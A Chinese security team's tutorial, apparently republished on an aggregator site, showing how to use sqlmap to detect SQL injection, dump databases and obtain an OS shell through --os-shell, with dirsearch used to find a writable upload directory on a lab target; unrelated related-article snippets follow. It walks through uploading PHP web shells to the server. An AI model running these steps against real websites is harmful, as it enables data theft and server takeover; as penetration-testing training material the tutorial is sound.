kali如何制作php字典_sqlmap如何用dirsearch.py协助osshell拿到目标网站shell

news/2024/5/12 23:46:51/文章来源:https://blog.csdn.net/weixin_39633781/article/details/112288235

本文首发于FreeBuf→https://www.freebuf.com/sectool/256588.html

b0df64e5fb546a8f8ac3d05215b7dd79.png

沙漏安全团队

欢迎真正热爱技术的你!

SQLMAP

sqlmap是一个开源渗透测试工具, 它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。

安装

windows
1、安装python(2.x或3.x版本)
https://www.python.org/downloads/
2、下载sq|map并解压
http://sqlmap.org/
3、在sqlmap路径下打开cmd, python sqlmap.py即可运行linux
1、kali系统自带
2、git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap -dev常用命令:
1、sqlmap.py -u "url" 检测目标url是否存在注入
2、sqlmap -u "url" --dbs 爆出所有数据库信息
3、sqlmap -u "url" --current-db爆出当前数据库信息
4、sqlmap -u "url" -D Database_ name -tables 列出指定库名的所有表名
5、sq|map -u "url" -D Database_ name -T Table_ name --columns列出指定库名指定表名的所有列名
6、sqlmap -u "url" -D Database_ name -T Table_ name -C columns1,colunms2, columns3 --dump列出指定库名指定表名指定字段的数据

POST注入

1、sqlmap -r /root/aaa.txt --dbs --batch
2、sqlmap -r /root/aa.txt --current-db
3、sqImap -r /root/aaa.txt -D hetianlab --tables
4、sqlmap -r /root/aaa.txt -D hetianlab -T user_ pwd --dump

–os-shell

sqlmap -r /root/aaa.txt -p id –is-dba
sqlmap -r /rootaaa.txt -p id –os-shell
os-shell的执行条件有三个:
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3) GPC为off, php主动转义的功能关闭
当着三个条件都满足的时候,–os-shell命令才执行。

which web application Language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default ) #默认what do you want to use for writable directory?
[1] common Location(s) ( /var/ww/, /var/www/html, /var /www/htdocs, /usr/Local/ apache2/htdocs,/usr/local/www/data, /var/apache2/htdocs, /var/www/ nginx- default, /srv/www/htdocs’) (default)
[2] custom Location(s) #自定义
[3] custom directory list file
[4] brute force search

话说回来,我们如何知道这个网站是不是root权限呢?

我们可以执行以下两个命令来查看网站当前的用户sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --current -user
current –user查看当前的用户sqLmap -u "http://172 .26.2.36/vulnlab/ index . php?id=1" --is -dba
指定去查找这个文件是否为dba,dba是databaseadmin,是数据库管理员用户的意思,如果返回值为true,则是root用户
这两个命令都可以?‍

查查目录[dirsearch.py]

dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
dirsearch拥有以下特点:

  • 多线程

  • 可保持连接

  • 支持多种后缀(-e|–extensions asp,php)

  • 生成报告(纯文本,JSON)

  • 启发式检测无效的网页

  • 递归的暴力扫描

  • 支持HTTP代理

  • 用户代理随机化

  • 批量处理

  • 请求延迟

扫描器与字典
字典必须是文本文件,除了使用特殊的%EXT%之外,其余每行都会被处理。
例:

example/
example.%EXT%

使用扩展名“asp”和“aspx”会生成下面的字典:
example/
example.asp
example.aspx

Linux下的使用示例:
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch/
./dirsearch.py -u 目标网址 -e *https://github.com/maurosoria/dirsearch/archive/master.zip
下载dirsearch-master并解压,将shell位置处于该脚本根目录,由于dirsearch需要python3.x,所以在使用前需要访问python.org下载相应版本的python,最后执行python3 dirsearch.py -u xxxxxx来使用。

-u意为url,添加URL时可以添加他的协议头,但不要添加他的访问目录。-e指定查找的类型,如 -e dir意为指定查找目录信息,可帮助我们知道哪里可能存在上传的权限。-e php指定PHP语言类型,可以帮助我们查找是否有PHP语言的关键信息泄露。

常见的脚本语言类型有:
ASP
ASPX(ASP.NET)
JSP
PHP5c87f7edaf3e937e21581ee2a4bb0448.png

它是利用爬虫和自带的字典爆破脚本进行的扫描。
如上图的返回值信息,如果是200、403、301这些数值的话,证明它是存在该目录/文件的。
再来观察上图的扫描过程中的结果,出现了一个upload,upload也就是上传,所谓上传,一般情况下我们是对此目录有可写权限的。
那么他的完整路径是什么呢?
根据在学校上学习的Apache服务建站,可以知道该网站如果是部署在Linux系统上,网站的默认根目录是/var/www/html或者是/var/www/。小型网站一般都不会改这个目录,那么upload的完整目录很有可能是/var/www/html/upload/var/www/upload,两个都可以试一下

回到-os shell上

①选择脚本语言选择4-PHP
②我们已经知道路径了,选择2-custom directory list file(自定义路径)
③输入我们知道的路径/var/www/html/uploada77816ca2abf10e926cac64bbb35f326.png
当我们看到shell为os-shell>的时候就代表成功了?
我们看到sqlmap给/var/www/html/upload目录里上传了两个PHP文件,tmpuknio.php、tmpbepcb.php由于他们两个的存在才拿到了这个权限,那么这两个PHP文件是属于web木马,这些文件的权限也就是php运行的权限,PHP是在Apache服务商运行的,我们可以通过whoami来验证是否正确

a600f8dc10bf5d3abdbf93b802190f10.png157e66d8c806643c7efa053fbd0a1dc4.png

3b3b175f-4e45-eb11-8da9-e4434bdf6706.svga84669157607a2c7c4884fe2a782bc0f.png9ae7eab8e5e0bab498a93145ac772ee7.png3b3b175f-4e45-eb11-8da9-e4434bdf6706.svg

平顶山学院· 沙漏安全团队

       微信号|SLteam666

奋发努力|拼搏向上

   本期编辑|bosounho

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_758193.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端2个下拉框关联_前端SEO优化

前端SEO优化原文链接:https://juejin.im/post/6844903824428105735 作者:dhonor一、搜索引擎工作原理在搜索引擎网站的后台会有一个非常庞大的数据库,里面存储了海量的关键词,而每个关键词又对应着很多网址,这些网址是…

db2 删除索引_网站索引量直在下降是什么原因?

所谓网站索引量,就是指搜索弓|擎把你的网页内容索取到数据库中。简单理解就是网站中有多少页面可以作为搜索候选结果,就是网站的索引量。网站的索引量越高,说明参与排名的机会就越大。那么,在网站SEO优化过程中,索引量一直在下降&…

lnmp一键安装包 linux_搭建属于自己的个人网站(二):LNMP一键安装

接上一篇:搭建属于自己的个人网站(一):域名注册解析及服务器配置本片介绍LNMP一键安装和wordpress安装以及wordpress后台管理模板上传,话不多说,直接上。1、LNMP一键安装(Linux NGINX MySQL PHP)打开Xshell工具,输入…

python编写程序的思路_神级程序员手把手教你写网站Python WEB开发!这个思路满分!...

本次的分享主要围绕以下几个方面: Python WEB开发技术简介 Django简介与环境配置与MVT设计模式简介 开发一个博客站点项目思路 路由编写与模型设计实战 快速开发一个网站后台与试图编写实战 模板设计与编写以及完善博客站点的其他功能Django是采用MVT的设计模式进行…

网站导航颜色停留_营销型网站建设的9步骤,你get了吗?

全网营销的信息时代,单纯的展示型网站仅适合那些不适合开展网络营销的行业,而这些行业也在不断寻找开拓网络营销渠道的办法,如建筑、工程等。在这个时代大背景下,企业营销型网站的比重就越来越大。但是很多企业对互联网的一些知识…

使用C#登录带验证码的网站

我在上一篇文章中已经讲解了一般网站的登录原来和C#的登录实现,很多人问到对于使用了验证码的网站该怎么办,这里我就讲讲验证码的原理和对应的登录方法。 验证码的由来 几年前,大部分网站、论坛之类的是没有验证码的,因为对于一般…

视频网站?电子商务?

从两个不同行业的网站(视频分享、电子商务),看互联网业务平台的特征: 1. 两者的核心都是内容。一个是视频,它的特性是:信息载体、数字化;另一个是商品,它的特性是:…

Step by Step WebMatrix网站开发之二:使用WebMatrix(1)

第一次运行WebMatrix会看到如图1所示的窗口。 图1 第一次运行WebMatrix显示的窗口 我的网站 进入“我的网站”可看到自己设计过的网站。 从Web库创建网站 可以从“从Web库创建网站“中理由网络上开源的网站系统创建网站,如名气比较响的WordPress、phpwind等…

60款高质量的网站模板免费下载(上篇)

您可能还喜欢 分享45款高质量的免费(X)HTML/CSS模板最新30佳精美 PSD 网站模板免费下载寻找网页设计灵感的27个最佳网站推荐60佳灵感来自大自然的网页设计作品欣赏分享100佳精美的作品集网站设计案例当你想快速制作出一个网站的时候,网站模板就非常有用了。学习网页…

java 学习网站_JAVA程序员学习必备十大网站

作为开发者来说,必备的除了对编码的热情还要有自己的一套技巧,另外不可缺少的就是平时学习的网站。以下本人收集的 Java 开发者必备的网站,这些网站可以提供信息、以及一些很棒的讲座 , 还能解答一般问题、面试问题等,或许你会认为…

linux测试网页装载时间,如何使用curl命令测试网站加载速度

Curl命令是一种用于通过各种协议传输数据的工具。有了它,我们就可以非常准确的知道网站的加载时间。使用此命令,我们可以看到:请求收到响应之前的总时间(time_namelookup)TCP协议在远程服务器上完成的总时间(time_connect)文件传输开始的时间…

网站使用QQ登陆

上几天我朋友说他知道怎么实现网站使用QQ号登陆或者注册了,于是要他发给我学习,感觉好复杂,而且运行不了(主要万原因是因为这东西得上传到空间是实验),于是在博客园找了相关的资料,发现在也并不…

腾讯天堂最新服务器,天堂官方网站-腾讯游戏

亲爱的玩家:我们感谢您,成为了《天堂》世界的勇士;我们感谢您,伴随《天堂》十年,不离不弃;我们更感谢您,给我们如此多的批评建议,一切皆因您真心热爱这个游戏。而面对如此热爱《天堂…

测试网站速度的五个免费在线工具

如果你认为一个网站建成后,工作就已经完成,你就大错特错了。你需要不断监测其可用性和可访问性,一个小问题,可能毁了一切。而网页载入速度对于一 个网站来讲至关重要,试想一下,你喜欢进一个需要很长时间才载…

MSDN全球网站大改版

MSDN全球网站大改版如果你现在登录http://msdn.microsoft.com 的话,你会发现发现一个非常重大的改变;微软对MSDN进行了有史以来最大规模的一次改版。记得2周前曾经和MSDN国际化开发团队的负责人Brad聊了一下新版的msdn,当时他介绍了很多新版M…

自定义app_offline.htm,让网站升级提示更专业

用 VS2005 发布新网站时,VS会自动上传个 app_offline.htm 到网站上。这时,所有的网站连接都成为如下图所示:提示信息对开发者来说,有点用处。但是,对于正在访问中用户来说,实在是蹩脚。那么,如何让升级的时…

分享7个我常去的国外AjaxJquery网站

经常逛这些国外的网站,看到很不错的控件和Jquery的演示DEMO:今天拿出来和大家分享一番: Ajax Rain:http://www.ajaxrain.com/ AjaxRain有很多完美整合AJAX, CSS, DHTML 或 Javascript的实例,有一些Demo的确值得你去看一看 Ajax Daddy:http://…

大型网站技术架构(一)--大型网站架构演化

转自:https://blog.csdn.net/chaofanwei/article/details/26865169 看完了有一本书,就应该有所收获,有所总结,最近把《大型网站技术架构》一书给看完了,给人的印象实在深刻,再加上之前也搞过书本上讲的反向…

服务器里面增加单页网站,如何设计完美的单页网站

原标题:如何设计完美的单页网站单页设计,是一项处理小型网站的绝佳技巧,甚至有些网站你可能认为一张页面搞不定,也同样适用。从易于维护,到减少带宽占用,使用单页网站的好处不胜枚举。假如你应对的是个小型…

优化网站设计(十一):避免重定向

前言 网站设计的优化是一个很大的话题,有一些通用的原则,也有针对不同开发平台的一些建议。这方面的研究一直没有停止过,我在不同的场合也分享过这样的话题。 作为通用的原则,雅虎的工程师团队曾经给出过35个最佳实践。这个列表请参考 Best Practices f…